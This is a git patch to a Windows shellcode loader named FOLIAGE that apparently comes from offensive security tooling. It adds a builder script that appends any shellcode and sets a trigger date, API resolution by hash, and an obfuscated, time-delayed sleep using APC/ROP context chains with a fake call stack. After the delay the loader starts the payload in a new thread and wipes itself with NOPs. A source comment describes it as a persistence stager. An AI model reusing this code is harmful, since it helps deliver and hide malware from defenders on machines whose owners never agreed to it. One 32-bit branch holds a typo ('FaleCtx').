From bc490c08043f467e5e4fedae1c73bbf92f9f1969 Mon Sep 17 00:00:00 2001
From: Mumbai <austinhudson@protonmail.ch>
Date: Sun, 14 Mar 2021 01:51:05 +0000
Subject: [PATCH] Updates

---
 scripts/foliage.py     | 35 ++++++++++++++++++++++
 scripts/hash_string.py | 20 +++++++++++++
 scripts/linker.ld      | 10 +++++++
 scripts/pedump.py      | 27 +++++++++++++++++
 source/asm/start.asm   | 15 +++++++---
 source/common.h        |  8 +++++
 source/hashes.h        |  4 +++
 source/leave.c         | 26 ++++++++++++++++
 source/sleep.c         | 12 +++++++-
 source/start.c         | 67 ++++++++++++++++++++++++++++++++++--------
 10 files changed, 206 insertions(+), 18 deletions(-)
 create mode 100644 scripts/foliage.py
 create mode 100644 scripts/hash_string.py
 create mode 100644 scripts/linker.ld
 create mode 100644 scripts/pedump.py
 create mode 100644 source/leave.c

diff --git a/scripts/foliage.py b/scripts/foliage.py
new file mode 100644
index 0000000..48a8338
--- /dev/null
+++ b/scripts/foliage.py
@@ -0,0 +1,35 @@
+#!/usr/bin/env python3
+# -*- coding:utf-8 -*-
+import pefile
+import argparse
+import struct
+
+def main( f = None, o = None, s = None, m = None, y = None, d = None ):
+    try:
+        raw = open( f, 'rb+' ).read()
+        shc = open( s, 'rb+' ).read()
+        out = open( o, 'wb+' )
+
+        raw = raw.replace(b'\x41' * 4, struct.pack('<I', len(shc)));
+        raw = raw.replace(b'\x42' * 2, struct.pack('<H', m));
+        raw = raw.replace(b'\x43' * 2, struct.pack('<H', y));
+        raw = raw.replace(b'\x44' * 2, struct.pack('<H', d));
+
+        print('writing %i bytes to %s' % ( len( raw ), o ) );
+        out.write( raw + shc );
+        out.close( );
+    except Exception as e:
+        print("[error]: {}".format(e));
+        raise SystemExit
+
+if __name__ in '__main__':
+    parser = argparse.ArgumentParser()
+    parser.add_argument('-f', help='Path to FOLIAGE bin', required=True);
+    parser.add_argument('-s', help='Path to shellcode bin', required=True);
+    parser.add_argument('-o', help='Path to output FOLIAGE bin', required=True);
+    parser.add_argument('-m', help='Month to trigger on', type=int, required=True);
+    parser.add_argument('-y', help='Year to trigger on', type=int, required=True);
+    parser.add_argument('-d', help='Day to trigger on', type=int, required=True);
+
+    args = parser.parse_args();
+    main(**vars(args));
diff --git a/scripts/hash_string.py b/scripts/hash_string.py
new file mode 100644
index 0000000..f07bc1c
--- /dev/null
+++ b/scripts/hash_string.py
@@ -0,0 +1,20 @@
+#!/usr/bin/env python3
+# -*- coding:utf-8 -*-
+import sys
+
+def hash_string( string ):
+    try:
+        hash = 5381
+
+        for x in string.upper():
+            hash = (( hash << 5 ) + hash ) + ord(x)
+
+        return hash & 0xFFFFFFFF
+    except:
+        pass
+
+if __name__ in '__main__':
+    try:
+        print('0x%x' % hash_string(sys.argv[1]));
+    except IndexError:
+        print('usage: %s [string]' % sys.argv[0]);
diff --git a/scripts/linker.ld b/scripts/linker.ld
new file mode 100644
index 0000000..e84d4ce
--- /dev/null
+++ b/scripts/linker.ld
@@ -0,0 +1,10 @@
+ENTRY( _BEG )
+
+SECTIONS
+{
+	.text ALIGN(1) : SUBALIGN(1)
+	{
+		*(.text._BEG)
+		*(.text.*)
+	}
+}
diff --git a/scripts/pedump.py b/scripts/pedump.py
new file mode 100644
index 0000000..35bdcc9
--- /dev/null
+++ b/scripts/pedump.py
@@ -0,0 +1,27 @@
+#!/usr/bin/env python3
+# -*- coding:utf-8 -*-
+import pefile
+import argparse
+import struct
+
+def main( f = None, o = None ):
+    try:
+        exe = pefile.PE( f );
+        raw = exe.sections[0].get_data();
+        end = raw.find(b'\xcc' * 4);
+        raw = raw[:end]
+
+        bin = open( o, 'wb+' );
+        bin.write( raw );
+        bin.close( );
+    except Exception as e:
+        print("[error]: {}".format(e));
+        raise SystemExit
+
+if __name__ in '__main__':
+    parser = argparse.ArgumentParser()
+    parser.add_argument('-f', help='Path to EXE file.', required=True);
+    parser.add_argument('-o', help='Path to store code.', required=True);
+
+    args = parser.parse_args();
+    main(**vars(args));
diff --git a/source/asm/start.asm b/source/asm/start.asm
index aab60a4..19f5288 100644
--- a/source/asm/start.asm
+++ b/source/asm/start.asm
@@ -17,7 +17,9 @@ GLOBAL _BEG
 GLOBAL _END
 GLOBAL _GET_BEG
 GLOBAL _GET_END
+
 EXTERN Start
+EXTERN Leave
 
 [SECTION .text$A]
 
@@ -28,13 +30,19 @@ _BEG:
 	push	rsi
 	mov	rsi, rsp
 	and	rsp, 0FFFFFFFFFFFFFFF0h
-	sub	rsp, 32
 
+	sub	rsp, 32
+	mov	rcx, 0x41414141
 	call	Start
 
+	sub	rsp, 32
+	lea	rcx, [rel _BEG]
+	lea	rdx, [rel Leave]
+	sub	rdx, rcx
+	call	Leave
+
 	mov	rsp, rsi
 	pop	rsi
-
 	ret
 
 ;;
@@ -51,8 +59,7 @@ _GET_END:
 	lea	rax, [rel _END]
 	ret
 
-
-[SECTION .text$C]
+[SECTION .text$D]
 
 ;;
 ;; end of shellcode
diff --git a/source/common.h b/source/common.h
index a59aaf7..5e40bf2 100644
--- a/source/common.h
+++ b/source/common.h
@@ -71,6 +71,14 @@ typedef struct
 		D_API( SetProcessValidCallTargets );
 	} kb;
 
+	struct
+	{
+		HANDLE	Base;
+
+		D_API( LocalFileTimeToFileTime );
+		D_API( SystemTimeToFileTime );
+	} km;
+
 	PVOID	Buffer;
 	ULONG	Length;
 	ULONG   Protection;
diff --git a/source/hashes.h b/source/hashes.h
index abac0ae..d1d217d 100644
--- a/source/hashes.h
+++ b/source/hashes.h
@@ -46,4 +46,8 @@
 #define H_SETPROCESSVALIDCALLTARGETS		0x647d9236
 #define H_KERNELBASE				0x03ebb38b
 
+#define H_LOCALFILETIMETOFILETIME		0x75b9ce51
+#define H_SYSTEMTIMETOFILETIME			0x61d8126b
+#define H_KERNEL32				0x6ddb9555
+
 #endif
diff --git a/source/leave.c b/source/leave.c
new file mode 100644
index 0000000..6845a45
--- /dev/null
+++ b/source/leave.c
@@ -0,0 +1,26 @@
+/*-
+ *
+ * dns over http(s) persistence stager.
+ * grabs a binary payload over a txt
+ * record before going back to sleep
+ * for a specified time.
+ *
+ * before going to sleep, it will try
+ * to obfuscate itself in memory and
+ * hide its return address.
+ *
+ * Copyright (c) 2021 Austin Hudson
+ * Copyright (c) 2021 GuidePoint Security LLC
+ *
+-*/
+
+#include "common.h"
+
+D_SEC(C) VOID WINAPI Leave( PVOID Start, ULONG Length )
+{
+	INSTANCE Ins;
+
+	Ins.nt.Base       = PebGetModule( H_NTDLL );
+	Ins.nt.ExitThread = PeGetFuncEat( Ins.nt.Base, H_RTLEXITUSERTHREAD );
+	__builtin_memset( Start, '\x90', Length ); Ins.nt.ExitThread( 0 );
+};
diff --git a/source/sleep.c b/source/sleep.c
index 03ddf6b..dfa78ca 100644
--- a/source/sleep.c
+++ b/source/sleep.c
@@ -214,6 +214,7 @@ D_SEC(B) NTSTATUS ObfuscateSleep( PINSTANCE Ins, PCONTEXT FakeFrame, PLARGE_INTE
 		goto END_ROP_CHAIN;
 	};
 
+#if defined( _WIN64 )
 	*ContextRopEnt = *ContextStolen;
 	ContextRopEnt->ContextFlags = CONTEXT_FULL;
 	ContextRopEnt->Rsp = U_PTR( ContextStolen->Rsp );
@@ -222,6 +223,15 @@ D_SEC(B) NTSTATUS ObfuscateSleep( PINSTANCE Ins, PCONTEXT FakeFrame, PLARGE_INTE
 	ContextRopEnt->Rdx = U_PTR( FALSE );
 	ContextRopEnt->R8  = U_PTR( NULL );
 	*( ULONG_PTR * )( ContextRopEnt->Rsp + 0x00 ) = ( ULONG_PTR ) Ins->nt.NtTestAlert;
+#else
+	*ContextRopEnt = *ContextStolen;
+	ContextRopEnt->ContextFlags = CONTEXT_FULL;
+	ContextRopEnt->Esp = U_PTR( ContextStolen->Esp - 0x100 );
+	ContextRopEnt->Eip = U_PTR( Ins->nt.NtWaitForSingleObject );
+	*( ULONG_PTR * )( ContextRopEnt->Rsp + 0x00 ) = ( ULONG_PTR ) Ins->nt.NtTestAlert;
+
+	// insert argument chain here
+#endif
 
 	ContextStatus = Ins->nt.NtQueueApcThread(
 				ContextRopThd,
@@ -461,7 +471,7 @@ D_SEC(B) NTSTATUS ObfuscateSleep( PINSTANCE Ins, PCONTEXT FakeFrame, PLARGE_INTE
 	ContextRopRes->Rcx = U_PTR( NtCurrentProcess() );
 	ContextRopRes->Rdx = U_PTR( &ContextResPtr );
 	ContextRopRes->R8  = U_PTR( &ContextResLen );
-	ContextRopRes->R9  = U_PTR( PAGE_EXECUTE_READ );
+	ContextRopRes->R9  = U_PTR( PAGE_EXECUTE_READWRITE );
 	*( ULONG_PTR *)( ContextRopRes->Rsp + 0x00 ) = ( ULONG_PTR ) Ins->nt.NtTestAlert ;
 	*( ULONG_PTR *)( ContextRopRes->Rsp + 0x28 ) = ( ULONG_PTR ) &ContextResPrt;
 
diff --git a/source/start.c b/source/start.c
index b0b2da5..d8af28a 100644
--- a/source/start.c
+++ b/source/start.c
@@ -16,23 +16,25 @@
 
 #include "common.h"
 
-D_SEC(B) VOID WINAPI Start( VOID )
+D_SEC(B) VOID WINAPI Start( ULONG Length )
 {
+	HANDLE        Thd;
 	HMODULE       Mod;
-	CONTEXT       Ctx;
 	INSTANCE      Ins;
-	LARGE_INTEGER Del;
-	UCHAR         Stk[0x100];
 
 	Ins.kb.Base = PebGetModule( H_KERNELBASE );
+	Ins.km.Base = PebGetModule( H_KERNEL32 );
 	Ins.nt.Base = PebGetModule( H_NTDLL );
 	Ins.Buffer  = C_PTR( _GET_BEG() );
-	Ins.Length  = U_PTR( _GET_END() ) - U_PTR( _GET_BEG() );
+	Ins.Length  = U_PTR( _GET_END() ) - U_PTR( _GET_BEG() ) + Length;
 
 	if ( Ins.kb.Base ) {
 		Ins.kb.SetProcessValidCallTargets = PeGetFuncEat( Ins.kb.Base, H_SETPROCESSVALIDCALLTARGETS );
 	};
 
+	Ins.km.LocalFileTimeToFileTime        = PeGetFuncEat( Ins.km.Base, H_LOCALFILETIMETOFILETIME );
+	Ins.km.SystemTimeToFileTime           = PeGetFuncEat( Ins.km.Base, H_SYSTEMTIMETOFILETIME );
+
 	Ins.nt.NtSignalAndWaitForSingleObject = PeGetFuncEat( Ins.nt.Base, H_NTSIGNALANDWAITFORSINGLEOBJECT );
 	Ins.nt.NtQueryInformationProcess      = PeGetFuncEat( Ins.nt.Base, H_NTQUERYINFORMATIONPROCESS );
 	Ins.nt.NtProtectVirtualMemory         = PeGetFuncEat( Ins.nt.Base, H_NTPROTECTVIRTUALMEMORY );
@@ -56,15 +58,54 @@ D_SEC(B) VOID WINAPI Start( VOID )
 	Ins.nt.NtContinue                     = PeGetFuncEat( Ins.nt.Base, H_NTCONTINUE );
 	Ins.nt.ExitThread                     = PeGetFuncEat( Ins.nt.Base, H_EXITTHREAD );
 	Ins.nt.NtClose                        = PeGetFuncEat( Ins.nt.Base, H_NTCLOSE );
+	
+	UCHAR           FakeStk[0x100];
+	CONTEXT         FakeCtx;
 
-	RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) );
-	RtlSecureZeroMemory( &Del, sizeof( Del ) );
-	RtlSecureZeroMemory( Stk, 0x100 );
+	RtlSecureZeroMemory( &FakeCtx, sizeof( FakeCtx ) );
+	RtlSecureZeroMemory( &FakeStk, 0x100 );
 
-	Ctx.ContextFlags = CONTEXT_FULL;
-	Ctx.Rsp          = U_PTR( &Stk[0x100 - 1] );
-	Ctx.Rip          = U_PTR( Ins.nt.RtlFreeHeap );
-	Del.QuadPart     = -( 90000 * 10000 );
+#if defined( _WIN64 )
+	FakeCtx.ContextFlags = CONTEXT_FULL;
+	FakeCtx.Rip = U_PTR( Ins.nt.RtlFreeHeap );
+	FakeCtx.Rsp = U_PTR( &FakeStk );
+#else
+	FaleCtx.ContextFlags = CONTEXT_FULL;
+	FakeCtx.Eip = U_PTR( Ins.nt.RtlFreeHeap );
+	FakeCtx.Esp = U_PTR( &FakeStk );
+#endif
 
-	ObfuscateSleep( &Ins, &Ctx, &Del );
+	FILETIME	LocalTimeZon;
+	FILETIME	LocalTimeUtc;
+	SYSTEMTIME	LocalTimeSys;
+	LARGE_INTEGER   LocalTimeOut;
+
+	RtlSecureZeroMemory( &LocalTimeZon, sizeof( LocalTimeZon ) );
+	RtlSecureZeroMemory( &LocalTimeUtc, sizeof( LocalTimeUtc ) );
+	RtlSecureZeroMemory( &LocalTimeSys, sizeof( LocalTimeSys ) );
+	RtlSecureZeroMemory( &LocalTimeOut, sizeof( LocalTimeOut ) );
+
+	LocalTimeSys.wMonth = 0x4242;
+	LocalTimeSys.wYear  = 0x4343;
+	LocalTimeSys.wDay   = 0x4444;
+
+	Ins.km.SystemTimeToFileTime( &LocalTimeSys, &LocalTimeZon );
+	Ins.km.LocalFileTimeToFileTime( &LocalTimeZon, &LocalTimeUtc );
+	LocalTimeOut.LowPart  = LocalTimeUtc.dwLowDateTime;
+	LocalTimeOut.HighPart = LocalTimeUtc.dwHighDateTime;
+
+	ObfuscateSleep( &Ins, &FakeCtx, &LocalTimeOut );
+	Ins.nt.NtCreateThreadEx(
+			&Thd,
+			THREAD_ALL_ACCESS,
+			NULL,
+			NtCurrentProcess(),
+			C_PTR( _GET_END( ) ),
+			NULL,
+			FALSE,
+			0,
+			0xFFFFFF,
+			0xFFFFFF,
+			NULL
+			); Ins.nt.NtClose( Thd );
 };